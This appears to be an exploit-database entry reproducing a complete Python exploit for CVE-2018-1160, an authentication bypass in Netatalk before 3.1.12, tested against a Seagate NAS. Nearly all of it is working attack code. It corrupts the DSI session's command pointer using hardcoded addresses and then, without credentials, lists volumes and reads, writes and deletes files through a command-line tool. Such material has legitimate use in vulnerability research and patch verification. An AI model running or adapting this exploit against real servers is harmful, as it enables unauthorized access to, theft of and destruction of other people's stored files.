发布 2018-12-21 漏洞条目

Netatalk 3.1.12 – Authentication Bypass

Exploit Source

# Exploit Title: Netatalk Authentication Bypass

# Date: 12/20/2018

# Exploit Author: Jacob Baines

# Vendor Homepage: http://netatalk.sourceforge.net/

# Software Link: https://sourceforge.net/projects/netatalk/files/

# Version: Before 3.1.12

# Tested on: Seagate NAS OS (x86_64)

# CVE : CVE-2018-1160

# Advisory: https://www.tenable.com/security/research/tra-2018-48

import argparse

import socket

import struct

import sys

# Known addresses:

# This exploit was written against a Netatalk compiled for an

# x86_64 Seagate NAS. The addresses below will need to be changed

# for a different target.

preauth_switch_base = '\x60\xb6\x63\x00\x00\x00\x00\x00' # 0x63b6a0

afp_getsrvrparms = '\x60\xb6\x42\x00\x00\x00\x00\x00' # 0x42b660

afp_openvol = '\xb0\xb8\x42\x00\x00\x00\x00\x00' # 42b8b0

afp_enumerate_ext2 = '\x90\x97\x41\x00\x00\x00\x00\x00' # 419790

afp_openfork = '\xd0\x29\x42\x00\x00\x00\x00\x00' # 4229d0

afp_read_ext = '\x30\x3a\x42\x00\x00\x00\x00\x00' # 423a30

afp_createfile = '\x10\xcf\x41\x00\x00\x00\x00\x00' # 41cf10

afp_write_ext = '\xb0\x3f\x42\x00\x00\x00\x00\x00' # 423fb0

afp_delete = '\x20\x06\x42\x00\x00\x00\x00\x00' # 420620

# This is the actual exploit. Overwrites the commands pointer

# with the base of the preauth_switch

def do_exploit(sock):

print "[+] Sending exploit to overwrite preauth_switch data."

data = '\x00\x04\x00\x01\x00\x00\x00\x00'

data += '\x00\x00\x00\x1a\x00\x00\x00\x00'

data += '\x01' # attnquant in open sess

data += '\x18' # attnquant size

data += '\xad\xaa\xaa\xba' # overwrites attn_quantum (on purpose)

data += '\xef\xbe\xad\xde' # overwrites datasize

data += '\xfe\xca\x1d\xc0' # overwrites server_quantum

data += '\xce\xfa\xed\xfe' # overwrites the server id and client id

data += preauth_switch_base # overwrite the commands ptr

sock.sendall(data)

# don't really care about the respone

resp = sock.recv(1024)

return

# Sends a request to the server.

# @param socket the socket we are writing on

# @param request_id two bytes. requests are tracked through the session

# @param address the address that we want to jump to

# @param param_string the params that the address will need

def send_request(socket, request_id, address, param_string):

data = '\x00' # flags

data += '\x02' # command

data += request_id

data += '\x00\x00\x00\x00' # data offset

data += '\x00\x00\x00\x90' # cmd length <=== always the same

data += '\x00\x00\x00\x00' # reserved

# ==== below gets copied into dsi->cmd =====

data += '\x11' # use the 25th entry in the pre_auth table. We'll write the function to execute there

data += '\x00' # pad

if (param_string == False):

data += ("\x00" * 134)

else:

data += param_string

data += ("\x00" * (134 - len(param_string)))

data += address # we'll jump to this address

sock.sendall(data)

return

# Parses the DSI header. If we don't get the expected request id

# then we bail out.

def parse_dsi(payload, expected_req_id):

(flags, command, req_id, error_code, length, reserved) = struct.unpack_from('>BBHIII', payload)

if command != 8:

if flags != 1 or command != 2 or req_id != expected_req_id:

print '[-] Bad DSI Header: %u %u %u' % (flags, command, req_id)

sys.exit(0)

if error_code != 0 and error_code != 4294962287:

print '[-] The server responded to with an error code: ' + str(error_code)

sys.exit(0)

afp_data = payload[16:]

if len(afp_data) != length:

if command != 8:

print '[-] Invalid length in DSI header: ' + str(length) + ' vs. ' + str(len(payload))

sys.exit(0)

else:

afp_data = afp_data[length:]

afp_data = parse_dsi(afp_data, expected_req_id)

return afp_data

# List all the volumes on the remote server

def list_volumes(sock):

print "[+] Listing volumes"

send_request(sock, "\x00\x01", afp_getsrvrparms, "")

resp = sock.recv(1024)

afp_data = parse_dsi(resp, 1)

(server_time, volumes) = struct.unpack_from('>IB', afp_data)

print "[+] " + str(volumes) + " volumes are available:"

afp_data = afp_data[5:]

for i in range(volumes):

string_length = struct.unpack_from('>h', afp_data)

name = afp_data[2 : 2 + string_length[0]]

print "\t-> " + name

afp_data = afp_data[2 + string_length[0]:]

return

# Open a volume on the remote server

def open_volume(sock, request, params):

send_request(sock, request, afp_openvol, params)

resp = sock.recv(1024)

afp_data = parse_dsi(resp, 1)

(bitmap, vid) = struct.unpack_from('>HH', afp_data)

return vid

# List the contents of a specific volume

def list_volume_content(sock, name):

print "[+] Listing files in volume " + name

# open the volume

length = struct.pack("b", len(name))

vid = open_volume(sock, "\x00\x01", "\x00\x20" + length + name)

print "[+] Volume ID is " + str(vid)

# enumerate

packed_vid = struct.pack(">h", vid)

send_request(sock, "\x00\x02", afp_enumerate_ext2, packed_vid + "\x00\x00\x00\x02\x01\x40\x01\x40\x07\xff\x00\x00\x00\x01\x7f\xff\xff\xff\x02\x00\x00\x00")

resp = sock.recv(1024)

afp_data = parse_dsi(resp, 2)

(f_bitmap, d_bitmap, req_count) = struct.unpack_from('>HHH', afp_data)

afp_data = afp_data[6:]

print "[+] Files (%u):" % req_count

for i in range(req_count):

(length, is_dir, pad, something, file_id, name_length) = struct.unpack_from('>HBBHIB', afp_data)

name = afp_data[11:11+name_length]

if is_dir:

print "\t[%u] %s/" % (file_id, name)

else:

print "\t[%u] %s" % (file_id, name)

afp_data = afp_data[length:]

# Read the contents of a specific file.

def cat_file(sock, vol_name, file_name):

print "[+] Cat file %s in volume %s" % (file_name, vol_name)

# open the volume

vol_length = struct.pack("b", len(vol_name))

vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name)

print "[+] Volume ID is " + str(vid)

# open fork

packed_vid = struct.pack(">h", vid)

file_length = struct.pack("b", len(file_name))

send_request(sock, "\x00\x02", afp_openfork, packed_vid + "\x00\x00\x00\x02\x00\x00\x00\x03\x02" + file_length + file_name)

resp = sock.recv(1024)

afp_data = parse_dsi(resp, 2)

(f_bitmap, fork_id) = struct.unpack_from('>HH', afp_data)

print "[+] Fork ID: %s" % (fork_id)

# read file

packed_fork = struct.pack(">h", fork_id)

send_request(sock, "\x00\x03", afp_read_ext, packed_fork + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x00\x00\x03\x00")

resp = sock.recv(1024)

afp_data = parse_dsi(resp, 3)

print "[+] File contents:"

print afp_data

# Create a file on the remote volume

def write_file(sock, vol_name, file_name, data):

print "[+] Writing to %s in volume %s" % (file_name, vol_name)

# open the volume

vol_length = struct.pack("B", len(vol_name))

vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name)

print "[+] Volume ID is " + str(vid)

# create the file

packed_vid = struct.pack(">H", vid)

file_length = struct.pack("B", len(file_name))

send_request(sock, "\x00\x02", afp_createfile, packed_vid + "\x00\x00\x00\x02\x02" + file_length + file_name);

resp = sock.recv(1024)

afp_data = parse_dsi(resp, 2)

if len(afp_data) != 0:

sock.recv(1024)

# open fork

packed_vid = struct.pack(">H", vid)

file_length = struct.pack("B", len(file_name))

send_request(sock, "\x00\x03", afp_openfork, packed_vid + "\x00\x00\x00\x02\x00\x00\x00\x03\x02" + file_length + file_name)

resp = sock.recv(1024)

afp_data = parse_dsi(resp, 3)

(f_bitmap, fork_id) = struct.unpack_from('>HH', afp_data)

print "[+] Fork ID: %s" % (fork_id)

# write

packed_fork = struct.pack(">H", fork_id)

data_length = struct.pack(">Q", len(data))

send_request(sock, "\x00\x04", afp_write_ext, packed_fork + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + data_length + data)

#resp = sock.recv(1024)

sock.send(data + ("\x0a"*(144 - len(data))))

resp = sock.recv(1024)

afp_data = parse_dsi(resp, 4)

print "[+] Fin"

# Delete a file on the remote volume

def delete_file(sock, vol_name, file_name):

print "[+] Deleting %s from volume %s" % (file_name, vol_name)

# open the volume

vol_length = struct.pack("B", len(vol_name))

vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name)

print "[+] Volume ID is " + str(vid)

# delete the file

packed_vid = struct.pack(">H", vid)

file_length = struct.pack("B", len(file_name))

send_request(sock, "\x00\x02", afp_delete, packed_vid + "\x00\x00\x00\x02\x02" + file_length + file_name);

resp = sock.recv(1024)

afp_data = parse_dsi(resp, 2)

print "[+] Fin"

## Main

top_parser = argparse.ArgumentParser(description='I\'m a little pea. I love the sky and the trees.')

top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to")

top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="548")

top_parser.add_argument('-lv', '--list-volumes', action="store_true", dest="lv", help="List the volumes on the remote target.")

top_parser.add_argument('-lvc', '--list-volume-content', action="store_true", dest="lvc", help="List the content of a volume.")

top_parser.add_argument('-c', '--cat', action="store_true", dest="cat", help="Dump contents of a file.")

top_parser.add_argument('-w', '--write', action="store_true", dest="write", help="Write to a new file.")

top_parser.add_argument('-f', '--file', action="store", dest="file", help="The file to operate on")

top_parser.add_argument('-v', '--volume', action="store", dest="volume", help="The volume to operate on")

top_parser.add_argument('-d', '--data', action="store", dest="data", help="The data to write to the file")

top_parser.add_argument('-df', '--delete-file', action="store_true", dest="delete_file", help="Delete a file")

args = top_parser.parse_args()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[+] Attempting connection to " + args.ip + ":" + str(args.port)

sock.connect((args.ip, args.port))

print "[+] Connected!"

do_exploit(sock)

if args.lv:

list_volumes(sock)

elif args.lvc and args.volume != None:

list_volume_content(sock, args.volume)

elif args.cat and args.file != None and args.volume != None:

cat_file(sock, args.volume, args.file)

elif args.write and args.volume != None and args.file != None and args.data != None:

if len(args.data) > 144:

print "This implementation has a max file writing size of 144"

sys.exit(0)

write_file(sock, args.volume, args.file, args.data)

elif args.delete_file and args.volume != None and args.file != None:

delete_file(sock, args.volume, args.file)

else:

print("Bad args")

sock.close()

作者: Jacob Baines
日期: 2018-12-21
类别: remote
平台: multiple

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